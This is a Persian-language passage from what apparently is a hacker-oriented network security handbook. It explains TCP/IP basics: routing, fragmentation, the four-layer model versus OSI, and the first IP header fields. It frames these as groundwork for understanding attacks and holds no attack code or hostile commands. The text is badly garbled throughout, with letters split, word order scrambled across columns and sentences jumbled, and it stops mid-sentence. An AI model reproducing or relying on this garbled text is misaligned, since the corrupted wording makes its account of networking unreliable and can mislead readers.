د     IP و آدرس    Checksum بررسی لازم در خصوص        ، IPه  یلا • ام می ده ر    IP اگر آدرس   . مقصد را انج ه روت وط ب  ، مرب
  )  در مقصد IP( وتر مقصد انجام خواهد داد ي روتر پردارش های لازم در خصوص بسته اطلاعاتی را بعنوان کامپباشد ،

بتر  ی نگ مربوطه را بمنظور        ي را کاهش و جدول روت      TTL مقدار  ، IPه  یدر ادامه لا    • ه ير بمنظور رس  ين مس یافتن مناس   دن ب
  . د ی مقصد ، بررسی می نماIPآدرس 

وتر مقصد به آن اضافه      ي کامپ MAC استفاده و آدرس     ARPم باشد ،از    يع بسته های اطلاعاتی از نوع مستق      یکه توز یدر موارد   •
وع غ      عی که توز  یدر موارد . گردد   ستق ي  اطلاعات از ن تفاده و آدرس  ARPم باشد ، از  ير م ه می با   MAC اس ری ک ست ی  روت

  . د  فوروارد گردد، به آن اضافه خواهد ش بسته های اطلاعاتی برای آن

د شد     ين کامپير بيک از روترهای موجود در مسینمامی مراحل فوق، در ارتباط با هر    داء و مقصد تکرار خواه افت  یپس از در . وتر مب
  .ند تکراری اشاره شده ، متوقف خواهد شد یوتر مقصد موجود می باشد ، فرآيبسته اطلاعاتی توسط روتری که در همان سگمنت کامپ

  

Fragmentation و Reassembly  

  
س       IPه یار بزرگ به روتر می رسد ، لايک بسته اطلاعاتی بس  یکه  يزمان ه بخش های کوچکتری تق . د ی م می نما ي قبل از ارسال آن را ب
  .ده می شودي نامFragmentationند فوق ، یفرآ

  
د يوق ، حتی اگر ب  بسته های اطلاعاتی ف. تمامی بسته های اطلاعاتی کوچک در ادامه بر روی شبکه حرکت خواهند کرد          ر  ین چن ن روت

  ه بسته اطلاعاتی يب و شکل اوليگر ترکیکدیبا " ده باشند ، مجددايوتر مقصد رسيکه تمامی آنان به کامپيدر زمان " ند ، صرفا  یحرکت نما 
  . ده می شود ي نامReassemblyند فوق ، ی فرآ .جاد می گرددیا

  

  وتر مقصد ي در کامپIPه يلا

  
ه يزمان سته اطلایک امپ ک ب ه ک اتی ب د ، لا يع ی رس صد م امپIPه یوتر مق صد ، ي در ک صد آن راIP و آدرس Checksumوتر مق    مق

ردازش  ی در نها  قرار خواهد گرفتUDPا ی و TCPار ي در اخت  در ادامه بسته اطلاعاتی   بررسی و  ت ، بسته اطلاعاتی بمنظور انجام پ
  . رنامه مقصد قرار خواهد گرفت ار بينهائی و با توجه به شماره پورت موجود ، در اخت

  

  خلاصه 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٥٣    صفحه

  
ه برخی از       . د  ی  پرداخته گرد  TCP/IPه پروتکل   يم اول ي به بررسی مفاه    در شش مقاله ارائه شده     ه ب م،    در ادام اشاره  "  مجددا   نکات مه

    :می گردد

ه های   ی لا. دیاده می نما  گر استف یک محل به محل د    یه بمنظور ارسال اطلاعات از      ی از مدل ارتباطی چهار لا     TCP/IPپروتکل   •
   network interface  هی و لاInternet , application, transport: فوق عبارتند از

ا  TCP/IPگر باشد ، پروتکل        یوتر د يازمند ارتباط با برنامه موجود بر روی کامپ       ي ن  که برنامه ای  يزمان  • ه  ی بمنظور تم ز برنام
  . د یاستفاده می نما" سوکت "  از  ها

  .ل می گردد ي تشک ه حملی ، شما ره پورت و پروتکل لاIPآدرس :  از سه عنصرک سوکتی •
دوز ، شامل شش پروتکل     یکروسافت درو ی ارائه شده توسط ما  TCP/IPپروتکل  • و , TCP, UDP, ICMP, IGMP, IP: ن

ARP است .  
اتيبمنظور حصول اطم • ال اطلاع ان از ارس ان توسط گی و در ن ت آن ده ، از پروتکل ياف ردد  TCPرن تفاده می گ ثلا.( اس " م

  ) . افت داده در مقصدینان از صحت دريارسال اطلاعات مربوط به کارت اعتباری و اطم
  .نگ داده برای مقصد نهائی را برعهده داردي و روت ت آدرس دهیي مسئول  ،IPپروتکل  •
  .ود استفاده می ش PING   ، از برنامه کاربردی TCP/IPبمنظور بررسی صحت نصب و عملکرد  •
امپ   ي  ، از امکانات متعددی بمنظور ذخ IPک آدرس ی در مقابل  ک نامیل به استفاده از یدر صورت تما  • وتر يره سازی اسامی ک

ردد    IPو آدرس  تفاده می گ ائی در ا   Hosts file  Lmhosts file, DNS,  WINS  . مربوطه اس ه ه ه می   ين زمی  ، نمون ن
  . باشند

تفاده می   يوتر مبداء به کامپيک بسته اطلاعاتی از کامپ  یم بمنظور ارسال    ير مستق يع غ یکه از روش توز   یدر موارد  • وتر مقصد اس
  . دی مربوط به روتر را مشخص نماMACست در ابتدا آدرس یوتر مبداء می بايگردد ، کامپ

  
ان                       ای احسان ملکي ا از آق ه ب وذگری در شبکه و روشهای مقابل ن    مطالب که پيش رو دارید در این قسمت از کتاب نف دن ای  ميباشد ، خوان

ه  ییها روش فهم و تحليل برای.  کتاب را به جد به دوستاران علم هک و امنيت شبکه یا ضد امنيت شبکه توصيه ميکنم  وذگر  یک  ک  نف
 مگر نيست ممکن حملات مکانيزم درک .باشيم داشته شبکه تکنولوژی از پایه دانش یک باید کند، می حمله شبکه به ها آن بکارگيری با

 :هستم مهم این انجام بر سعی قسمت این در که .بدانيم را TCP/IP  اصول حداقل آنکه
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   :TCP/IPشرحی بر 
  
 

 تحت که است پروتکلی مجموعه از آنها همه تبعيت است، زده پيوند هم به آميز موفقيت صورت به را مختلف های شبکه تمام که عاملی
اوت  موضوع  دو به تواند می  IP  و TCP  شده خلاصه عبارتاین  که کنيد دقت .شود می شناخته دنيا  درTCP/IP  عنوان  اشاره  متف
 :باشد داشته

 
  

 .کنيم می  بررسی ادامه در آنرا که نماید می تعریف گسترده ارتباطات برای ای لایه چهار ساختار یک مدل این: TCP/IP  مدل
  

اوت  پروتکل صد از بيش شامل ای مجموعهTCP/IP  پشته TCP/IP (TCP/IP Protocol Stack) :  پروتکلهای پشته ه  است  متف  ک
ه  اینترنت  شبکه اجزا کليه سازماندهی برای ار  ب ن  در .رود می  ک سمت  ای دادی  ق ن  از تع ا  ای ه  را پروتکله تفاده  و عموميت  ک ر  اس  فراگي
  .کرد خواهيم معرفی دارند،

  
TCP/IP   

 
د،  وجود  هم آن از تر بهينه های پروتکل !نيست يادن بندی شبکه پروتکل بهترین يکن  دارن رین  ول وب  و فراگيرت رین  محب  the most)  ت

common) اید  . شود  می محسوب کامپيوتر دنيای در بندی شبکه تکنولوژی رین  ش ه  باشد  آن TCP/IP حسن  بزرگت دون  ک دگی  ب  پيچي
  .هستند TCP/IP های پروتکل مجموعه بر مبتنی نيز حملات بيشتر و شده بنا TCP/IP اساس بر اینترنت !کند می کار بخوبی زیاد،

 
 

  بندی لايه اصول و ها شبکه طراحی
 

ه  دارد وجود  متنوعی و گسترده بسيار مشکلات و مسائل کامپيوتری، شبکه یک طراحی برای د  ک ه  بای ا  شود  حل  نحوی  ب وان  ت  یک  بت
سائل  این .کرد راربرق شبکه در ماشين دو بين اعتماد قابل و مطمئن ارتباط ستند  سنخ  یک  از همگی  مشکلات  و م شأ  و ني  حل  راه و من
ال  عنوان به .هستند حل قابل افزاری نرم های تکنيک با دیگر بخش و افزار سخت توسط آنها از بخشی ندارند، نيز مشابه از  مث رای  ني  ب
 کرد خواهد مخابراتی افزار سخت در آنالوگ مدولاسيون زا استفاده به مجبور را شبکه طراح شبکه، در ایستگاه چند بين سيم بی ارتباط
 با بسته، یک رسيدن از اطمينان و پيام بازسازی برای ها بسته گذاری شماره یا مقصد به مبدا از ها بسته ارسال در هماهنگی مسئله ولی

ه  مشکلاتی  و مسائل باید يوتری،کامپ های شبکه طراحی برای دليل همين به .است حل قابل افزاری نرم های تکنيک از استفاده رای  ک  ب
دی  دسته  دارد، وجود  شبکه  در ماشين  دو بين شفاف و ساده مطمئن، ارتباط یک برقراری تاندارد  های  حل  راه و شده  بن رای  اس ا  ب  آنه

  :است شده عنوان ها شبکه طراحی مسائل از بخشی زیر در .شود می ارائه
 
ه  الکتریکی  سيگنال  یک  صورت به اطلاعات ایه بيت دریافت و ارسال چگونگی موضوع ولينا سی  ب ا  الکترومغناطي وری  ی  است،  ن

 سيگنال  یک به ها بيت تبدیل بنابراین . است ماکروویو خطوط یا ای ماهواره کانال نوری، فيبر مسی، سيم انتقال کانال آیا اینکه به بسته
  .رود می شمار به شبکه اوليه مسائل از یکی انتقال کانال با متناسب

 
  باشد زیر صورت سه از یکی به تواند می که است انتقال جهت و ماهيت دوم مساله

  
 : Simplex فرستنده هميشه دیگر طرف و گيرنده هميشه طرف یک) طرفه یک ارتباط  

  
: Half Duplex د  می  هم ماشين دو هر حالت این در که طرفه دو نيمه یا همزمان غير طرفه دو ارتباط تنده  توانن ا  فرس ده  ی ند  گيرن  باش

 .باشد داشته ارسال مقابل طرف ا ت شود می ساکت سپس کند، می ارسال ابتدا طرفين از یکی بلکه همزمان، صورت به نه ولی
  

: Full Duplex ام  ارتباط ه  دو تم ان  طرف د  ( همزم اکرو  خطوط  مانن و  م ه  ) وی ن  در ک د  می  واحد  آن در ماشين  یک  حالت  ای م  توان  ه
 .باشد گيرنده هم و فرستنده

اطی  های کانال روی نویز وجود و خطا مسئله سوم سالهم دین  است  ارتب ا  ب ه  معن ا  داده ارسال  حين  در است  ممکن  ک ر  ه ال  روی ب  کان
ه  وضعيتی چنين . شود خرابی دچار بيتها از تعدادی فيزیکی ل  ک اب  قاب د  نيست  اجتن شخيص  بای د  های  داده و شده  داده ت ار  فاق  دور اعتب
  .کند ارسال نو از را آنها بدام سپس و شود ریخته
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ابر  باشد؛ داشته وجود مقصد و مبدا بين گوناگونی مسيرهای است ممکن ها شبکه در اینکه به توجه اب ن  بن دا  ای ا  کردن  پي  ضمن  در .( ه
وط  اغلب ) شود  می  محسوب  شبکه  طراحی مسائل از ها، بسته هدایت و مسير بهترین router یک است ممکن ه  مرب ام  ب زرگ  پي ه  ب  ب

ه  شبکه مسائل  دیگر از پيام بازسازی بنابراین برسد مقصد به مختلفی مسيرهای از و شده تقسيم (frame) کوچکتری واحدهای  شمار  ب
  .آید می

 
ام  یک های بسته فرستنده که سرعتی با نتواند دلایلی به گيرنده است مکنم د  می  ارسال  را پي ا  کن د،  دریافت  را آنه ابراین  کن  طراحی  بن

  .است شبکه مسائل دیگر از مقصد و مبدا بين هماهنگی حفظ زمهایمکاني
 
 که آید می بوجود ها شبکه در تصادم و تداخل ازدحام، مثل مسائلی دارد وجود شبکه یک در متعددی گيرنده و فرستنده های ماشين ونچ
 شبکه یک طراحDoS  های حمله بعضی به مربوط شود حل شبکه افزار نرم و افزار سخت در باید دیگر مسائل همراه به مشکلات این
رده  تحليل و تجزیه را شبکه مسائل تمام باید رای  و ک ا  ب ه  حل  راه آنه د  ارائ ی  کن ن  چون  ول سائل  ای اهيتی  دارای م اوت  م  یکدیگر  از متف

ال  عنوان به . شود انجام “ لایه به لایه” صورت به باید شبکه یک طراحی بنابراین هستند، ی  مث رار  وقت ه  شبکه  یک  است  ق ه  ب  ای گون
سئله  اولين باشند، داشته فایل انتقال بتوانند ها ایستگاه که شود طراحی ه  ای م د  ، طراح  ک ه  بای شد  آن ب زار  سخت  یک  طراحی  ، بيندی  اف
دام  آن اساس بر تواند می شود، طراحی افزاری سخت چنين اگر . است فيزیکی کانال روی بيتها دریافت و ارسال برای مخابراتی ه  اق  ب

ه  شود می رح ط م خطا کشف و نترل ک مکانيزمهای زمانی یعنی نماید، داده در احتمالی خطاهای مسئله حل ل  ک زار  سخت  آن از قب  اف
د  طراحی، مرحله دو این از بعد . باشد شده طراحی ها داده ی مخابره انيزم  بای سته  های  مک دی  ب ا  ماشين  دهی  آدرس اطلاعات،  بن  و ه
ا  پروسه  دهی  آدرس نظير مسائل ه بقی برای سپس ؛( دارند فراگير مبحثی کدام هر که) شود طراحی ها بسته یابی مسير  چگونگی  و ه
  .شود ارائه حل راه فایل انتقال

 
ا  که هنگامی دقيقا) است زیر اصول بر مبتنی و شود حل طراح توسط باید که است مسائلی تفکيک منظور به شبکه ای لایه طراحی  C ب

د  می نویسی رنامهب ها زبان دیگر یا از  کني ه  ني سيم  ب دی  تق ار  مراحل  بن د  ک ه  سپس  و داری سی  الگوریتم  ب د  و نوی سی  ک د  نوی ه  داری ه  ک  ب
 گویند می Generalizing  کار این به اصطلاح

  
 .کند بررسی و تشریح دقت به را آنها باید شبکه طراح و دارد مشخصی وظيفه لایه هر •
 .شود طراحی جداگانه و لایه به لایه باید باشد، متفاوت ماهيتی نظر از شود ارائه باید که هایی سرویس گاه ره •
 .شود مشخص جهانی استانداردهای و قراردادها به توجه با باید لایه هر وظيفه •
ه  های  سرویس  دیدگاه از ها لایه تمایز که باشد زیاد آنقدر نباید ها لایه تعداد • ه  و باشد  نامشخص  شده  ارائ در  ن م  آنق  باشد،که  ک

 .شود نامشخص و پيچيده لایه، یک خدمات و يفهوظ
ه  و شود  می فته گر نادیده زیرین های لایه جزئيات لایه هر در • الایی  های  لای د  ب اده  روال یک  در بای اجولار  و س  خدمات  از م

 .کنند استفاده خود زیرین لایه
 .باشد داقلح ها، لایه بين اطلاعات جریان که شود انتخاب ای گونه به لایه هر مرزهای باید •

  
ه  شبکه  برای ای لایه هفت مدلی (ISO) استاندارد جهانی سازمان نشود پيچيده و ای سليقه ها شبکه طراحی آنکه برای رد،   ، ارائ ه  ک  ب
ه  ه  ای گون ا  ک ه  هفت  در شبکه  خدمات  و فیوظ ه  و تعریف  مجزا  لای ن  . شود  می  ارائ دل  ای ه  هفت  م  Open System)ای، لای

Interconnection) OSI دل  یک  آن جای  به و شود نمی استفاده مدل این از اینترنت شبکه در چند هر .گرفت نام ار  م ه  چه ه  ای لای  ب
 وجود آن در شبکه مسائل ، تبيين و تفکيک در که دقتی دليل به OSI  ای لایه هفت مدل بررسی وليکن است، شده تعریف TCP/IP  نام

ا  آن های شباهت و ها تفاوت و شد خواهد داده توضيح کل طور به لایه ینا بعدی های مقاله در) بود خواهد ارزش با دارد، دل  ب ار  م  چه
  .رویم می TCP/IP  مدل سراغ به کنون اشد خواهد بررسی TCP/IP ای لایه

 
 

  TCP/IP ای لایه چهار مدل
 

 مدل با را ای لایه چهار مدل این هيمبخوا اگر .است کرده عرضه شبکه برای ای لایه چهار ساختار یک دل م این شد اشاره که همانگونه
OSI ل مد از اول لایه کنيم، مقایسه TCP/IP ه  وظائف از تلفيقی شبکه به دسترسی لایه یعنی ه  و فيزیکی  لای د  لای ا  داده پيون دل  از ه  م
OSI مدل از دوم لایه . بود خواهد  TCP/IP مدل از سوم لایه معادل OSIدلم  از سوم  لایه . است شبکه لایه یعنی TCP/IP  ام  و همن
 وجود TCP/IP مدل در OSI  مدل از ارائه ششم لایه و جلسه پنجم لایه . بود خواهد انتقال لایه یعنی OSI  لایه از چهارم لایه با معادل
 لایه از بخشی معادل OSI  مدل از هفتم لایه . است شده ادغام TCP/IP  مدل از چهارم لایه در لزوم صورت در آنها وظائف و ندارند
  .است TCP/IP  مدل از چهارم
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 یکی در نيز نفوذگران حملات که گرفت خواهيد یاد بعدی های مقاله در ها بعد . است TCP/IP  ای لایه چهار ساختار اینترنت زیربنای
ه  است ای لایه به وابسته حمله هدف و ابزار همچنين و حمله های مکانيزم و ماهيت لذا گيرد، می شکل لایه چهار این از ورد  ک ه  م  حمل

  .گيرد می قرار
  

  : شبکه واسط  لايهTCP/IP مدل  از اول لايه
 
ن  . شود  می  تعریف  شبکه  های  پروتکل  و(Device Driver) انداز راه افزارهای نرم افزار، سخت استانداردهای لایه این در ه  ای  لای

 . باشد می شبکه کارت نصب برای لازم اندازهای راه و شبکه کارت نوع انتقال، کانال مخابراتی و الکتریکی فيزیکی، مسائل با درگير
 شبکه برای لایه این در  لازم انعطاف بزند پيوند هم به را مشابه نا و همگن غير عناصر از ای مجموعه تواند می که اینترنت شبکه در
 وجود لایه این در خاص، ارتباطی افزار سخت ریبکارگي در ای ویژه الزام یعنی . است شده فراهم ميزبان های ماشين و گوناگون های
 مناسب، انداز راه افزار نرم و معتبر و متعدد های پروتکل از استفاده با بایستی شود متصل اینترنت به دارد تصميم که یهایستگا . ندارد
ار  و اصرار  بنابراین، . کند تزریق شبکه به را خودش های داده نحوی به تفاده  در خاصی  اجب تاندارد  یک  از اس ن  در خاص  اس ه  ای  لای

   !! بود خواهند استفاده قابل لایه این در MAN و LAN  پروتکلهای تمام .ندارد وجود
  

 این به :کند تزریق (SubNetwork)، شبکه زیر به را اطلاعاتی های فریم (LAN) محلی شبکه طریق از تواند می ميزبان ماشين یک
ی  شبکه  از خارج  دشانمقص  که را دور راه های بسته که نحو ه  است،  محل سيریاب  ب يش  از (router) م دایت  شده،  تعریف  پ د  ه  . نمای
ابراین  . شوند  متصل اینترنت به توانند می مسيریاب چند یا یک طریق از محلی های شبکه ه  بس  یک  بن ه  اطلاعاتی  ت ه  از ک الاتر  لای  ب
ا  ود،ش می تحویل TCP/IP مدل در اول لایه به مقصد، یک به ارسال جهت سمت  در نهایت د ” ، ق ریم  از ،“ داده فيل ی  شبکه  ف رار  محل  ق
 ارسال  بر مبتنی توانند می شوند، می تعریف TCP/IP  مدل از اول لایه در که هایی پروتکل نماید؛ می آغاز را خود مسير و گيرد می

   .باشند (Bit oriented & Byte oriented) بایت رشته سالرا بر مبتنی یا بيت رشته
  
  
  : شبکه  لايهTCP/IP مدل  از دوم يهلا
  
ا  بعد به این از که را اطلاعاتی های بسته دارد وظيفه عبارت ترین ساده در لایه این سته  را آنه اميم  IP های  ب دایت   شبکه  روی ، مين  ه
 مبدا از ، اطلاعاتی های بسته تحویل و ریابی مسی وظيفه هم کنار در پروتکل چندین لایه این در . ببرد پيش به مقصد تا مبدا از و کرده
 وظائف  سری یک که مهم های پروتکل از برخی . دارد نام IP  پروتکل لایه، این در پروتکل ترین کليدی . دهند می انجام را مقصد تا

 يحتوض اختصار به را ها پروتکل این . ... وBOOTP , IGMP , ICMP , RIP , RARP , ARP  از عبارتند دارند عهده بر جانبی
  .کنيمکافی کالبدش را IP  پروتکل که این بر سمتق این در ما تلاش ولی دهم، می

  
ده  دیتاگرام شود، مقصد تحویل بایستی که اطلاعاتی واحد یک لایه این در شد اشاره که همانگونه د  می  IP پروتکل  . شود  می  نامي  توان

سته  قالب در را دیتاگرام یک ه  کوچکتری  های  ب ه  قطع رده  قطع رای  لازم اطلاعات  کردن  اضافه  از پس  و (Splitting) ک  بازسازی  ب
(coding) دا  بين ارتباط برقراری لایه این در که بدانيد است لازم کند ارسال شبکه روی را آنها ه  مقصد  و مب دون ” روش ب  “ اتصال  ب

 مقصد  یک  برای متوالی بسته دو گرا یعنی . کند نمی تضمين را خاصی مسير از عبور شبکه، روی  IP بسته یک ارسال و بود خواهد
ا  رسيدن  ترتيب  به در تضمينی هيچ شود ارسال یکسان دارد،  وجود  آنه ن  چون  ن سته  دو ای د  می  ب سيرهای  از توانن اوتی  م ه  متف  سمت  ب
د  حرکت  مقصد  ن  در ضمن  در . نماین ه  ای سته  آنکه  از پس  لای ال  از یکی  روی ای ب اطی  های  کان دایت  ارتب الم  از شد،  ه  ای  رسيدن  س
 دریافت عدم یا دریافت پيغام گونه هيچ IP  های بسته برای لایه، این در که چرا آمد، نخواهد دست به اطلاعی هيچ مقصد به آن نرسيدن

،(Ack/Nack) امطمئن  شود  می ارائه لایه این در که سرویسی بنابراین شود؛ نمی بدل و رد مسير، روی  بر واقع عناصر بين  است  ن
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الاتر  لایه در باشد نياز گرا اتصال یا و مطمئن های سرویس به اگر و (کنند می عمل لایه این طبق بر حملات بعضی نتيجه در و) ن  ب  ای
سيریابی  تا نمایند کسب را اطلاعاتی که شب ترافيکی و کیتوپولوژی شرایط از بایستی ها مسيریاب لایه این در .شد خواهد تامين نياز  م
 شبکه زیر ساختار در احتمالی خطاهای یا مشکلات درباره اطلاعاتی باید لایه این در همچنين . ودش انجام Dynamic  و پویا روش به
ن  وظایف از دیگر یکی . شود مبادله ميزبان، های ماشين و ها مسيریاب بين ه  ای د ” ارسال  ویژگی  لای ا  خشی ب چن  است  MultiCast“ی
 .نماید ارسال را هایی بسته یا بسته اند، شده سازماندهی گروه یک قالب در که گوناگون مقصد چندین به باشد قادر ایستگاه یک یعنی

 
  : انتقال  لايهTCP/IP مدل از سوم لايه

 
 
ی  کند می برقرار شبکه در را ( ميزبان های ماشين) انتهایی های ماشين ارتباط لایه این د  می  یعن ر  توان سی  اساس  ب ه  سروی ه  ک  دوم لای
ه  تصویر  و صوت ارسال نظير عملياتی برای لایه این در البته . کند برقرار ، مطمئن و گرا اتصال ارتباط یک کند می ارائه  سرعت  ک
  !! است شده فراهم نيز نامطمئن و سریع اتصال بدون های سرویس است خطا و دقت از مهمتر

 
انيزم  شود، می ارائه لایه این در که مطمئنی سرویس در ا  یمک ه  است  شده  ذاتخ تنده  ک ي  از فرس ا  دنرس سته  صحيح  رسيدن  عدم  ی ه  ب  ب

 دیگر طرف از و شبکه لایه با طرف یک از لایه این . کنيم می بحث بعدا نامطمئن و مطمئن های سرویس مورد در . شود باخبر مقصد
ه  تحویلی  های  داده . است  ارتباط در کاربرد لایه با ن  ب ه  ای ه  توسط  لای اربردی  برنام ا  و ک ع  زدن صدا  ب ستمی  تواب  در شده  تعریف  سي
 .شوند می  دریافت یا ارسال باشد، می Application Program Interface اختصار که API یا کاربردی های برنامه واسط”
 
  

  : کاربرد   لايهTCP/IPمدل  از چهارم لايه
  
ن  .شود می ارائه دهپيچي و ویژه کاربردی های برنامه خلق برای بالایی سطح سرویس زیرین، های لایه خدمات اساس بر لایه این در  ای

  .شود  می ارائه کاربر به زیر موارد همانند استانداردی های پروتکل قالب، در خدمات
  

ال  خدمات  الکترونيکی  ا پست مدیریت FTP (File Transfer Protocol) یا فایل انتقال TELNET همان یا ترمينال سازی شبيه  انتق
ه  از اطلاعاتی  واحد  یک  ارسال که کنيم نشان خاطر بایستی قسمت این پایان در .دیگر کاربردی پروتکل ها ده و متنی ابر صفحات  لای
ردازش  انجام از پس چهارم ه  در لازم های  پ رین  های  لای ه  زی ر  روی مناسبی  نحو  ب ق  شبکه  زی ا  و شده  تزری  مقصد،  ماشين  در نهایت

 .شد خواهد خاص کاربردی برنامه یک تحویل 
  
  

   IP  يا(Internet Protocol)اينترنت  لايه
  

 نماید می وصل همدیگر به را (Autonomous)مختار خود های شبکه از ای مجموعه که است گرفته شکل ای گونه به اینترنت جوهره
 از “ شبکه  زیر” قسمت در که شویم یادآور بایستی را نکته این . کرد تصور اینترنت برای توان نمی ثابتی و حقيقی ساختار هيچگونه .

سيار  های مسيریاب و بالا بسيار ( ارسال نرخ) باند پهنای با ارتباطی خطوط از تعدادی ترنتاین شبکه رای  هوشمند،  و سریع  ب  پيکره  ب
ی  و ای نقطه  م های  شبکه  ARPANet  مثل) است داده تشکيل Back Bone  فقرات ستون” یک اینترنت جهانی شبکه  پيرامون  محل
رات  ون ست . گذشت خواهد فقرات نوست این از نحوی به آنها دهدا ترافيک و گرفته شکل فقرات ستون این ه  اینترنت  شبکه  در فق ا  ک  ب

سته  از وسيعی بسيار حجم است شده ایجاد آسيا و اقيانوسيه از هایی قسمت و اروپا آمریکا، در عظيمی گذاری سرمایه   اطلاعاتی  های  ب
ه  شوند،  می ناميده ISP  که سرویس گان دهنده هارائ یا محلی های شبکه اکثر و کنند می حمل ثانيه هر در را ا  نحوی   ب ره  از یکی  ب  گ

  .ند اارتباط در فقرات ستون این های
  
 
ين  و اطلاعاتی  های  بسته تردد و حمل که قراردادی شد اشاره قبلی بخش در که ای گونه به سيریابی  همچن ا  صحيح  م دا  از را آنه ه  مب  ب

ه IP  پروتکل  حقيقت در . دارد نام IP  تکلپرو نماید می سازماندهی و مدیریت مقصد، ام  روی ک  وجود  اینترنت  شبکه  های  ماشين  تم
دایت  مقصد تا مبدا از  IP های بسته) را اطلاعاتی های بسته دارد د،  می  ه ارغ  نمای ا  آنکه  از ف دا  های  ماشين  آی  یک  روی مقصد  و مب
  .است شده واقع آنها بين دیگر شبکه چندین یا هستند شبکه

  
 بالاتر لایه از را ها داده از واحد یکIP  لایه شود می خلاصه زیر صورت به اینترنت شبکه رویIP  پروتکل برای تعریف رینت ساده

ه  گيرد؛ می تحویل ن  ب اگرام  یک  معمولا  اطلاعات  واحد  ای ه  دیت ن  طول  دارد امکان  . شود  می  گفت اگرام  ای زرگ  دیت ين  در باشد،  ب  چن
ه  موردی  را IP  لای ه  آن ه  کوچکتری  واحدهای  ب دام  هر  ک ه ” ک ام  “ قطع ا  و شکسته  دارد ن شکيل  ب سته  یک  ت ه  IP ب ه،  هر  ازای ب  قطع
د  می  اضافه آنها به را شبکه در مسير طی برای لازم اطلاعات ا  سپس  و کن ه  شبکه  روی را آنه ان  ب دازد؛  می  جری سيریاب  هر  ان ا  م  ب
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د  می IP  بسته یک طول ندهرچ . کند می هدایت مقصد تا را آنها ها، بسته ش پرداز و بررسی يکن  باشد  Kbyte64 حداکثر  توان  در ول
ی  های شبکه اکثر که آنست دليل به قضيه این) است بایت 1500 حدود ها بسته طول عموما عمل ا  محل ه  Bus از اعم  دني تاره  ، حلق  ، س
 یک آن کل برای دیتاگرام، یک کردن عهقط قطعه هنگام  است مجبور IP ، پروتکل .(دارند کيلوبایت چند تا یک به نزدیک فریمی طول
ی  بالاتر لایه به تحویل برای مقصد در بتواند دیتاگرام آن تا بگيرد نظر در ترتيب شماره یک قطعه هر برای و مشخصه شماره ه  یعن  لای
  .شود بازسازی انتقال

  
ا  صورت به که است اطلاعات واحد یک دیتاگرام بحث، این در که کنم می تاکيد مجددا ه  از یکج ه   IP لای ه  ب ال  لای ل  انتق  می  داده تحوی
دین  IP  پروتکل کنار در .شود شکسته است ممکن و داده تحویل IP  لایه به شبکه روی ارسال جهت آنرا انتقال لایه بالعکس یا شود  چن

د  دیگر  پروتکل  ه  شده  تعریف  ... و RIP , RARP , ARP , ICMP مانن ر،  عملکرد  در را IP پروتکل  ک سيری  بهت  صحيح،  ابیم
  .کنند می کمک ناشناخته های آدرس کشف یا احتمالی خطاهای مدیریت

  
ه  است  آورده فراهم را امکان این کنند می عرضه آن جانبی های پروتکل و IP  پروتکل که هایی توانایی ام  ک ا  شبکه  تم  ابزارهای  و ه
وع  از فارغ  ... و پلها ها، مسيریاب ميزبان، های ماشين مثل ای شبکه وع  و اشين م ن زار  سخت  ن ی  و اف ا  حت اوت  وجود  ب ستم  در تف  سي
زار  سخت   هيچ  به و دارد استاندارد ساختاریIP  پروتکل .کنند مبادله یکدیگر با را IP های بسته بتوانند آنها، استفاده مورد عامل ا  اف  ی
  .نيست وابسته خاص عامل سيستم

  
 ماشين  دهی  آدرس چگونگی  بعدی  ای گام در و کنيم شکافی کالبد را  IP تهبس یک قالب است لازم IP  شناخت در گام اولين عنوان به
سته  های پروتکل تعریف همچنين و مسيریابی روشهای به نهایتا و نموده معرفی را اینترنت شبکه در آدرس کلاسهای انواع و ها ه  واب  ب
IP پردازیم می.  
 

  IP بسته يک قالب
 

 بسته سرآیند در که اطلاعاتی مجموعه . است شده تشکيل (Data) داده حمل قسمت و (Heading)  سرآیند قسمت دو ، از IP بسته یک
IP گيرد می قرار پردازش و استفاده مورد مسيریاب توسط شود می درج.  
 

يد؛  آشنا IP  بسته متعدد های فيلد با هستيد مجبور حمله، های تاکتيک و ها مکانيزم از برخی تحليل برای که کنيد دقت را   باش  برخی  زی
ه  گرفت  خواهيد یاد بعد، های مقاله در . گيرند می قرار نفوذگران استفاده یسو مورد ها فيلد این از اه  هر  ک ن  از برخی  گ د  ای ا  فيل ه  ه  ب

  .شد خواهد نهایی ماشين در اختلال به منجر شود، دستکاری شده حساب و عمدی صورت
  
 

  
  
  

د  • ين :  Version  فيل د  اول ه   IP ستهب  یک  سرآیند  در فيل ار  ک سخه  است  بيت  چه ه  IP پروتکل  ن ن  ک سته  ای ر  ب  آن اساس  ب
سخه  از ها مسيریاب و ها شبکه تمام حاضر حال در . کند می تعيين را است شده ارسال و سازماندهی  IP پروتکل  4 شماره  ن
 نصب  و بررسی  حال در و معرفی IPv6  یا IPng  های نام به IP پروتکل 6 شماره نسخه امروز اگرچه . کنند می پشتيبانی
ه  رسد  می  نظر به و ندارند آمادگی پروتکل این پذیرش برای هنوز دنيا های شبکه در ها مسيریاب ز ا بسياری وليکن است،  ک

ا  د  نگارش  2005 سال  ت انی  ، جدی شود  جه ه  عددی  . ن ن  در حاضر  حال  در ک د  ای رار  فيل رد  می  ق ه  باشد  می  4 گي ادل  ک  مع
(0100)B  است 

 
د  • ن  : IHL (IP Header Length) فيل د  ای م  فيل ار  ه ی  چه سته  سرآیند  کل  طول  و است  بيت ر  را ب ای  ب ی   32 کلمات  مبن بيت

 چهل معادل بيت 320 سرآیند کل که معناست بدین باشد گرفته قرار 10 عدد فيلد این در اگر مثال عنوان به . نماید می مشخص
د  از غير به شود دقت  IP بسته یک ساختار به اگر . بود خواهد بایت ه   options فيل اری  ک ام  وجود  است،  اختي د   تم  های  فيل

  .کند می مشخص را ها داده و سرآیند بين مرز ، گر اره اش یک عنوان به فيلد این حقيقت در . باشد می الزامی سرآیند
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ی  هشت فيلد این : Type of service  فيلد • ان  ماشين  آن توسط  و است  بيت ی ) ميزب د  ماشين  یعن ده  تولي سته   کنن ه IP ب ه  ک  آن ب
Source Machine  ز د  می  ني ر  مجموعه  از (گوین ی ) شبکه  زی سيریاب  مجموعه  یعن ين  های  م ه  راه ب ه  ک  اصطلاح  ب

SubNetwork با . گویند می Sub Net شود  اشتباه ژه  سرویس  تقاضای  (ن رای  ای وی اگرام  یک  ارسال  ب د  می  دیت ه  . نمای   ب
